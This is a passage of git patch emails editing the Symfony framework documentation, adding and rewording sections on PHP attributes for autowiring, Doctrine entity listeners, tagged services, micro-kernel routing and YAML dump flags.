+    When :ref:`migrating passwords <security-password-migration>`, you don't need to implement ``PasswordHasherAwareInterface``
+    to return the legacy hasher name:
+    Symfony will detect it from your ``migrate_from`` configuration.
+
 If you created your own password hasher implementing the
 :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,
 you must register a service for it in order to use it as a named hasher:

From d3e4443f02f74ac40f105427ed359d6a6dfec4e1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Jan 2023 16:04:32 +0100
Subject: [PATCH 2673/5766] Minor tweak

---
 security/passwords.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 4eae756172c..030abe90a5d 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -639,9 +639,9 @@ the name of the hasher to use::
 
 .. caution::
 
-    When :ref:`migrating passwords <security-password-migration>`, you don't need to implement ``PasswordHasherAwareInterface``
-    to return the legacy hasher name:
-    Symfony will detect it from your ``migrate_from`` configuration.
+    When :ref:`migrating passwords <security-password-migration>`, you don't
+    need to implement ``PasswordHasherAwareInterface`` to return the legacy
+    hasher name: Symfony will detect it from your ``migrate_from`` configuration.
 
 If you created your own password hasher implementing the
 :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,

From 1743655b63e048c283f90a5fa7e535f5591706b7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 24 Dec 2022 17:49:27 +0100
Subject: [PATCH 2674/5766] [Yaml] Add flag to dump numeric key as string

---
 components/yaml.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 2c463d1c731..e20427069d7 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -418,6 +418,22 @@ you can dump them as ``~`` with the ``DUMP_NULL_AS_TILDE`` flag::
     $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_TILDE);
     // foo: ~
 
+Dumping Numeric Keys as Strings
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, digit-only array keys are dumped as integers. You can use the
+``DUMP_NUMERIC_KEY_AS_STRING`` flag if you want to dump string-only keys::
+
+    $dumped = Yaml::dump([200 => 'foo']);
+    // 200: foo
+
+    $dumped = Yaml::dump([200 => 'foo'], 2, 4, Yaml::DUMP_NUMERIC_KEY_AS_STRING);
+    // '200': foo
+
+.. versionadded:: 6.3
+
+    The ``DUMP_NUMERIC_KEY_AS_STRING`` flag was introduced in Symfony 6.3.
+
 Syntax Validation
 ~~~~~~~~~~~~~~~~~
 

From ae473a78ef05cf85b0afd4dafd2139de45c2ea71 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Jan 2023 17:19:28 +0100
Subject: [PATCH 2675/5766] Tweak

---
 service_container/autowiring.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 7e1494657d9..673963278b9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -565,7 +565,8 @@ logic about those arguments::
     The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
 
 The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`,
-:doc:`complex expressions </service_container/expression_language>` and even :ref:`environment variables <config-env-vars>`::
+:doc:`complex expressions </service_container/expression_language>` and even
+:ref:`environment variables <config-env-vars>`::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -588,7 +589,7 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
             #[Autowire(expression: 'service("App\\Mail\\MailerConfiguration").getMailerMethod()')]
             string $mailerMethod
 
-            // environment variable
+            // environment variables
             #[Autowire(env: 'SOME_ENV_VAR')]
             string $senderName
         ) {

From 565e0e3bd1e798727ffc79e9130d0d3cf308e310 Mon Sep 17 00:00:00 2001
From: Eric <eric.robert@simpleclinic.net>
Date: Tue, 3 Jan 2023 08:54:04 +1000
Subject: [PATCH 2676/5766] Adds information on AsEntityListener attribute to
 the Doctrine event documentation

---
 doctrine/events.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 9a2756a4e61..71bb44d6fe0 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -353,6 +353,30 @@ with the ``doctrine.orm.entity_listener`` tag:
             ;
         };
 
+
+Doctrine Entity Listeners may also be defined using PHP attributes.  When using PHP attributes it is not necessary to create a service for the listener.
+
+    .. code-block:: php
+
+        // src/EventListener/UserChangedNotifier.php
+        namespace App\EventListener;
+
+        use App\Entity\User;
+        use Doctrine\Persistence\Event\LifecycleEventArgs;
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsEntityListener;
+
+        #[AsEntityListener(event:'postUpdate',  method:'postUpdate', entity:User::class)]
+        class UserChangedNotifier
+        {
+            // the entity listener methods receive two arguments:
+            // the entity instance and the lifecycle event
+            public function postUpdate(User $user, LifecycleEventArgs $event): void
+            {
+                // ... do something to notify the changes
+            }
+        }
+
+
 Doctrine Lifecycle Subscribers
 ------------------------------
 

From 7b93c1f9b0386f98012febc5edc38e549a6ff48a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Jan 2023 17:56:44 +0100
Subject: [PATCH 2677/5766] Reword

---
 doctrine/events.rst | 53 ++++++++++++++++++++-------------------------
 1 file changed, 24 insertions(+), 29 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 71bb44d6fe0..59fe440c2b6 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -235,8 +235,9 @@ Doctrine Entity Listeners
 
 Entity listeners are defined as PHP classes that listen to a single Doctrine
 event on a single entity class. For example, suppose that you want to send some
-notifications whenever a ``User`` entity is modified in the database. To do so,
-define a listener for the ``postUpdate`` Doctrine event::
+notifications whenever a ``User`` entity is modified in the database.
+
+First, define a PHP class that handles the ``postUpdate`` Doctrine event::
 
     // src/EventListener/UserChangedNotifier.php
     namespace App\EventListener;
@@ -254,9 +255,27 @@ define a listener for the ``postUpdate`` Doctrine event::
         }
     }
 
-The next step is to enable the Doctrine listener in the Symfony application by
-creating a new service for it and :doc:`tagging it </service_container/tags>`
-with the ``doctrine.orm.entity_listener`` tag:
+Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
+a Doctrine entity listener in your application:
+
+    .. code-block:: php
+
+        // src/EventListener/UserChangedNotifier.php
+        namespace App\EventListener;
+
+        // ...
+        use App\Entity\User;
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
+
+        #[AsDoctrineListener(event: 'postUpdate',  method: 'postUpdate', entity: User::class)]
+        class UserChangedNotifier
+        {
+            // ...
+        }
+
+That's it. Alternatively, if you prefer to not use PHP attributes, you must
+configure a service for the entity listener and :doc:`tag it </service_container/tags>`
+with the ``doctrine.orm.entity_listener`` tag as follows:
 
 .. configuration-block::
 
@@ -353,30 +372,6 @@ with the ``doctrine.orm.entity_listener`` tag:
             ;
         };
 
-
-Doctrine Entity Listeners may also be defined using PHP attributes.  When using PHP attributes it is not necessary to create a service for the listener.
-
-    .. code-block:: php
-
-        // src/EventListener/UserChangedNotifier.php
-        namespace App\EventListener;
-
-        use App\Entity\User;
-        use Doctrine\Persistence\Event\LifecycleEventArgs;
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsEntityListener;
-
-        #[AsEntityListener(event:'postUpdate',  method:'postUpdate', entity:User::class)]
-        class UserChangedNotifier
-        {
-            // the entity listener methods receive two arguments:
-            // the entity instance and the lifecycle event
-            public function postUpdate(User $user, LifecycleEventArgs $event): void
-            {
-                // ... do something to notify the changes
-            }
-        }
-
-
 Doctrine Lifecycle Subscribers
 ------------------------------
 

From cf1b86e1c1371c08a8520226f7a6b4756e1a4c5d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jan 2023 12:59:53 +0100
Subject: [PATCH 2678/5766] Minor tweak

---
 service_container/tags.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index e5e996a076e..26ce6077fee 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -591,8 +591,8 @@ application handlers::
         }
     }
 
-If for some reason you need to exclude one or multiple services when using a tagged
-iterator, this can be done by using the ``exclude`` option:
+If for some reason you need to exclude one or more services when using a tagged
+iterator, add the ``exclude`` option:
 
 .. configuration-block::
 

From a8c81fe9c12acff8d46f3a36cdfd74d73281190c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Jan 2023 13:24:40 +0100
Subject: [PATCH 2679/5766] [FrameworkBundle] Add support for route attributes
 in kernel controller methods

---
 configuration/micro_kernel_trait.rst | 128 +++++++++++++++++++--------
 1 file changed, 91 insertions(+), 37 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 3d479829a94..97781fa383c 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -20,55 +20,109 @@ via Composer:
       symfony/http-foundation symfony/routing \
       symfony/dependency-injection symfony/framework-bundle
 
-Next, create an ``index.php`` file that defines the kernel class and runs it::
+Next, create an ``index.php`` file that defines the kernel class and runs it:
 
-    // index.php
-    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+.. configuration-block::
 
-    require __DIR__.'/vendor/autoload.php';
+    .. code-block:: php
 
-    class Kernel extends BaseKernel
-    {
-        use MicroKernelTrait;
+        // index.php
+        use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        use Symfony\Component\HttpFoundation\JsonResponse;
+        use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        public function registerBundles(): array
-        {
-            return [
-                new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
-            ];
-        }
+        require __DIR__.'/vendor/autoload.php';
 
-        protected function configureContainer(ContainerConfigurator $c): void
+        class Kernel extends BaseKernel
         {
-            // PHP equivalent of config/packages/framework.yaml
-            $c->extension('framework', [
-                'secret' => 'S0ME_SECRET'
-            ]);
-        }
+            use MicroKernelTrait;
 
-        protected function configureRoutes(RoutingConfigurator $routes): void
-        {
-            $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']);
+            public function registerBundles(): array
+            {
+                return [
+                    new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
+                ];
+            }
+
+            protected function configureContainer(ContainerConfigurator $c): void
+            {
+                // PHP equivalent of config/packages/framework.yaml
+                $c->extension('framework', [
+                    'secret' => 'S0ME_SECRET'
+                ]);
+            }
+
+            protected function configureRoutes(RoutingConfigurator $routes): void
+            {
+                $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']);
+            }
+
+            public function randomNumber(int $limit): JsonResponse
+            {
+                return new JsonResponse([
+                    'number' => random_int(0, $limit),
+                ]);
+            }
         }
 
-        public function randomNumber(int $limit): JsonResponse
+        $kernel = new Kernel('dev', true);
+        $request = Request::createFromGlobals();
+        $response = $kernel->handle($request);
+        $response->send();
+        $kernel->terminate($request, $response);
+
+    .. code-block:: php-attributes
+
+        // index.php
+        use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        use Symfony\Component\HttpFoundation\JsonResponse;
+        use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        require __DIR__.'/vendor/autoload.php';
+
+        class Kernel extends BaseKernel
         {
-            return new JsonResponse([
-                'number' => random_int(0, $limit),
-            ]);
+            use MicroKernelTrait;
+
+            public function registerBundles(): array
+            {
+                return [
+                    new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
+                ];
+            }
+
+            protected function configureContainer(ContainerConfigurator $c): void
+            {
+                // PHP equivalent of config/packages/framework.yaml
+                $c->extension('framework', [
+                    'secret' => 'S0ME_SECRET'
+                ]);
+            }
+
+            #[Route('/random/{limit}', name='random_number')]
+            public function randomNumber(int $limit): JsonResponse
+            {
+                return new JsonResponse([
+                    'number' => random_int(0, $limit),
+                ]);
+            }
         }
-    }
 
-    $kernel = new Kernel('dev', true);
-    $request = Request::createFromGlobals();
-    $response = $kernel->handle($request);
-    $response->send();
-    $kernel->terminate($request, $response);
+        $kernel = new Kernel('dev', true);
+        $request = Request::createFromGlobals();
+        $response = $kernel->handle($request);
+        $response->send();
+        $kernel->terminate($request, $response);
+
+.. versionadded:: 6.1
+
+    The PHP attributes notation has been introduced in Symfony 6.1.
 
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:

From 0db72289d3e167731fe5e198c2062f25ce6725a2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Jan 2023 14:01:39 +0100
Subject: [PATCH 2680/5766] [DependencyInjection] Autowire arguments using the
 #[TaggedIterator] attribute

---
 service_container/tags.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 9c89ef8c85a..c834c0e6b17 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -591,6 +591,26 @@ application handlers::
         }
     }
 
+Injecting tagged services can be also be done through autowiring thanks to the
+``#[TaggedIterator]`` attribute. This attribute must be directly used on the
+argument to autowire::
+
+    // src/HandlerCollection.php
+    namespace App;
+
+    use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+    class HandlerCollection
+    {
+        public function __construct(#[TaggedIterator('app.handler')] iterable $handlers)
+        {
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[TaggedIterator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
+
 .. seealso::
 
     See also :doc:`tagged locator services </service_container/service_subscribers_locators>`

From 8de38ef1d6249cd5404a68f6ebc27e761dbe6479 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rapha=C3=ABl=20Riehl?= <riehl.raphael@gmail.com>
Date: Wed, 4 Jan 2023 14:03:12 +0100
Subject: [PATCH 2681/5766] Update getContainerExtension()

Since Symfony 6.x call to getContainerExtension() has evolved.
Now, it's necessary to set a return type, else it generates this error :
Declaration of Acme\TestBundle\AcmeTestBundle::getContainerExtension() must be compatible with Symfony\Component\HttpKernel\Bundle\Bundle::getContainerExtension(): ?Symfony\Component\DependencyInjection\Extension\ExtensionInterface"
---
 bundles/extension.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index edbcb5cd270..69f34dbc604 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -54,10 +54,11 @@ method to return the instance of the extension::
 
     // ...
     use Acme\HelloBundle\DependencyInjection\UnconventionalExtensionClass;
+    use Symfony\Component\DependencyInjection\Extension\ExtensionInterface;
 
     class AcmeHelloBundle extends Bundle
     {
-        public function getContainerExtension()
+        public function getContainerExtension(): ?ExtensionInterface
         {
             return new UnconventionalExtensionClass();
         }

From e891e95474a3692a2837303bcd60d713cb8afe4a Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Thu, 5 Jan 2023 02:52:11 +0100
Subject: [PATCH 2682/5766] remove mention to @required

---
 service_container/autowiring.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 20c6e1223b6..d70ccbdaa53 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -578,11 +578,8 @@ Autowiring will automatically call *any* method with the ``#[Required]`` attribu
 above it, autowiring each argument. If you need to manually wire some of the arguments
 to a method, you can always explicitly :doc:`configure the method call </service_container/calls>`.
 
-If your PHP version doesn't support attributes (they were introduced in PHP 8),
-you can use the ``@required`` annotation instead.
-
 Despite property injection having some :ref:`drawbacks <property-injection>`,
-autowiring with ``#[Required]`` or ``@required`` can also be applied to public
+autowiring with ``#[Required]`` can also be applied to public
 typed properties:
 
 .. configuration-block::

From 76c04248e8bf032419a0470e9f8e1ca55a77ae45 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Thu, 5 Jan 2023 03:20:02 +0100
Subject: [PATCH 2683/5766] remove mention to required in service_container

---
 service_container/injection_types.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 243856f1472..419bad912d0 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -116,15 +116,16 @@ by cloning the original service, this approach allows you to make a service immu
 
     // ...
     use Symfony\Component\Mailer\MailerInterface;
+    use Symfony\Contracts\Service\Attribute\Required;
 
     class NewsletterManager
     {
         private $mailer;
 
         /**
-         * @required
          * @return static
          */
+        #[Required]
         public function withMailer(MailerInterface $mailer): self
         {
             $new = clone $this;
@@ -220,14 +221,14 @@ that accepts the dependency::
     // src/Mail/NewsletterManager.php
     namespace App\Mail;
 
+    use Symfony\Contracts\Service\Attribute\Required;
+
     // ...
     class NewsletterManager
     {
         private $mailer;
 
-        /**
-         * @required
-         */
+        #[Required]
         public function setMailer(MailerInterface $mailer): void
         {
             $this->mailer = $mailer;

From ba83fd2435fb43e99393dd6c54ef3d4a69ad00b0 Mon Sep 17 00:00:00 2001
From: Nicolas PHILIPPE <nikophil@gmail.com>
Date: Thu, 5 Jan 2023 08:42:48 +0100
Subject: [PATCH 2684/5766] [HttpFoundation] add ParameterBag::getEnum()

---
 components/http_foundation.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index a9131112d1d..b058b073815 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -144,6 +144,13 @@ has some methods to filter the input values:
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getInt`
     Returns the parameter value converted to integer;
 
+:method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getEnum`
+    Returns the parameter value converted to a PHP enum;
+
+.. versionadded:: 6.3
+
+    The `ParameterBag::getEnum()` method was added in Symfony 6.3.
+
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.
 

From d072fbd6daa7d250a71a1ba4843fd892a7948b8a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 5 Jan 2023 13:25:18 +0100
Subject: [PATCH 2685/5766] [DependencyInjection] Autowire arguments using the
 #[TaggedLocator] attribute

---
 .../service_subscribers_locators.rst          | 22 ++++++++++++++++++-
 1 file changed, 21 insertions(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index db90d3e275c..0989941a1cc 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -305,6 +305,26 @@ As shown in the previous sections, the constructor of the ``CommandBus`` class
 must type-hint its argument with ``ContainerInterface``. Then, you can get any of
 the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).
 
+The same behavior can be achieved using the ``#[TaggedLocator]`` attribute. This
+attribute must be directly used on a ``ServiceLocator`` argument::
+
+    // src/HandlerCollection.php
+    namespace App;
+
+    use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+    use Symfony\Component\DependencyInjection\ServiceLocator;
+
+    class HandlerCollection
+    {
+        public function __construct(#[TaggedLocator('app.handler')] ServiceLocator $locator)
+        {
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[TaggedLocator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
+
 Reusing a Service Locator in Multiple Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -459,7 +479,7 @@ will share identical locators among all the services referencing them::
             // ...
             'logger' => new Reference('logger'),
         ];
-        
+
         $myService = $container->findDefinition(MyService::class);
 
         $myService->addArgument(ServiceLocatorTagPass::register($container, $locateableServices));

From 6c8a458dd2c3770b62d1f54f4fb9069f65fd735f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jan 2023 14:57:39 +0100
Subject: [PATCH 2686/5766] -

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index b058b073815..c07bb9ee340 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -149,7 +149,7 @@ has some methods to filter the input values:
 
 .. versionadded:: 6.3
 
-    The `ParameterBag::getEnum()` method was added in Symfony 6.3.
+    The ``ParameterBag::getEnum()`` method was introduced in Symfony 6.3.
 
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.

From d9b62bb7a9f9e4239656d75f13071d01a1bc8e5f Mon Sep 17 00:00:00 2001
From: cedric lombardot <cedric.lombardot@gmail.com>
Date: Thu, 5 Jan 2023 12:00:55 +0100
Subject: [PATCH 2687/5766] We need to use AsEntityListener instead of
 AsDoctrineListener

---
 doctrine/events.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 59fe440c2b6..77d25db35ac 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -255,7 +255,7 @@ First, define a PHP class that handles the ``postUpdate`` Doctrine event::
         }
     }
 
-Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
+Then, add the ``#[AsEntityListener]`` attribute to the class to enable it as
 a Doctrine entity listener in your application:
 
     .. code-block:: php
@@ -265,9 +265,10 @@ a Doctrine entity listener in your application:
 
         // ...
         use App\Entity\User;
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsEntityListener;
+        use Doctrine\ORM\Events;
 
-        #[AsDoctrineListener(event: 'postUpdate',  method: 'postUpdate', entity: User::class)]
+        #[AsEntityListener(event: Events::postUpdate, method: 'postUpdate', entity: User::class)]
         class UserChangedNotifier
         {
             // ...

From ac95c9033be9e10768cd872fb26cbc9d4f2ad6cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jan 2023 15:44:24 +0100
Subject: [PATCH 2688/5766] Change the order of code blocks in the
 configuration block

---
 configuration/micro_kernel_trait.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 97781fa383c..a4cd11dd80c 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -24,7 +24,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
 
 .. configuration-block::
 
-    .. code-block:: php
+    .. code-block:: php-attributes
 
         // index.php
         use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
@@ -32,7 +32,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         use Symfony\Component\HttpFoundation\JsonResponse;
         use Symfony\Component\HttpFoundation\Request;
         use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+        use Symfony\Component\Routing\Annotation\Route;
 
         require __DIR__.'/vendor/autoload.php';
 
@@ -55,11 +55,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
                 ]);
             }
 
-            protected function configureRoutes(RoutingConfigurator $routes): void
-            {
-                $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']);
-            }
-
+            #[Route('/random/{limit}', name='random_number')]
             public function randomNumber(int $limit): JsonResponse
             {
                 return new JsonResponse([
@@ -74,7 +70,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         $response->send();
         $kernel->terminate($request, $response);
 
-    .. code-block:: php-attributes
+    .. code-block:: php
 
         // index.php
         use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
@@ -82,7 +78,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         use Symfony\Component\HttpFoundation\JsonResponse;
         use Symfony\Component\HttpFoundation\Request;
         use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         require __DIR__.'/vendor/autoload.php';
 
@@ -105,7 +101,11 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
                 ]);
             }
 
-            #[Route('/random/{limit}', name='random_number')]
+            protected function configureRoutes(RoutingConfigurator $routes): void
+            {
+                $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']);
+            }
+
             public function randomNumber(int $limit): JsonResponse
             {
                 return new JsonResponse([

From 63da2464ffd0018c38695cfc8b317c6dfa13c0ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jan 2023 16:41:21 +0100
Subject: [PATCH 2689/5766] Merged the new example into the existing
 configuration block

---
 service_container/tags.rst | 59 ++++++++++++++++++--------------------
 1 file changed, 28 insertions(+), 31 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index c834c0e6b17..bda979d6a6b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -511,11 +511,37 @@ Symfony provides a shortcut to inject all services tagged with a specific tag,
 which is a common need in some applications, so you don't have to write a
 compiler pass just for that.
 
-In the following example, all services tagged with ``app.handler`` are passed as
-first  constructor argument to the ``App\HandlerCollection`` service:
+Consider the following ``HandlerCollection`` class where you want to inject
+all services tagged with ``app.handler`` into its constructor argument::
+
+    // src/HandlerCollection.php
+    namespace App;
+
+    class HandlerCollection
+    {
+        public function __construct(iterable $handlers)
+        {
+        }
+    }
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/HandlerCollection.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+        class HandlerCollection
+        {
+            public function __construct(
+                // the attribute must be applied directly to the argument to autowire
+                #[TaggedIterator('app.handler')] iterable $handlers
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -578,35 +604,6 @@ first  constructor argument to the ``App\HandlerCollection`` service:
             ;
         };
 
-After compilation the ``HandlerCollection`` service is able to iterate over your
-application handlers::
-
-    // src/HandlerCollection.php
-    namespace App;
-
-    class HandlerCollection
-    {
-        public function __construct(iterable $handlers)
-        {
-        }
-    }
-
-Injecting tagged services can be also be done through autowiring thanks to the
-``#[TaggedIterator]`` attribute. This attribute must be directly used on the
-argument to autowire::
-
-    // src/HandlerCollection.php
-    namespace App;
-
-    use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
-
-    class HandlerCollection
-    {
-        public function __construct(#[TaggedIterator('app.handler')] iterable $handlers)
-        {
-        }
-    }
-
 .. versionadded:: 5.3
 
     The ``#[TaggedIterator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.

From a5b8e76ad5624ed7724867ddd09b0766dab9c1eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jan 2023 16:59:46 +0100
Subject: [PATCH 2690/5766] Some tweaks

---
 .../service_subscribers_locators.rst          | 53 +++++++++++++------
 service_container/tags.rst                    |  3 ++
 2 files changed, 39 insertions(+), 17 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 0989941a1cc..a7d9971b8db 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -247,10 +247,45 @@ Defining a Service Locator
 --------------------------
 
 To manually define a service locator and inject it to another service, create an
-argument of type ``service_locator``:
+argument of type ``service_locator``.
+
+Consider the following ``CommandBus`` class where you want to inject
+some services into it via a service locator::
+
+    // src/HandlerCollection.php
+    namespace App;
+
+    use Symfony\Component\DependencyInjection\ServiceLocator;
+
+    class CommandBus
+    {
+        public function __construct(ServiceLocator $locator)
+        {
+        }
+    }
+
+Symfony allows you to inject the service locator using YAML/XML/PHP configuration
+or directly via PHP attributes:
 
 .. configuration-block::
 
+    .. conde-block:: php-attributes
+
+        // src/CommandBus.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\ServiceLocator;
+
+        class CommandBus
+        {
+            public function __construct(
+                // creates a service locator with all the services tagged with 'app.handler'
+                #[TaggedLocator('app.handler')] ServiceLocator $locator
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -305,22 +340,6 @@ As shown in the previous sections, the constructor of the ``CommandBus`` class
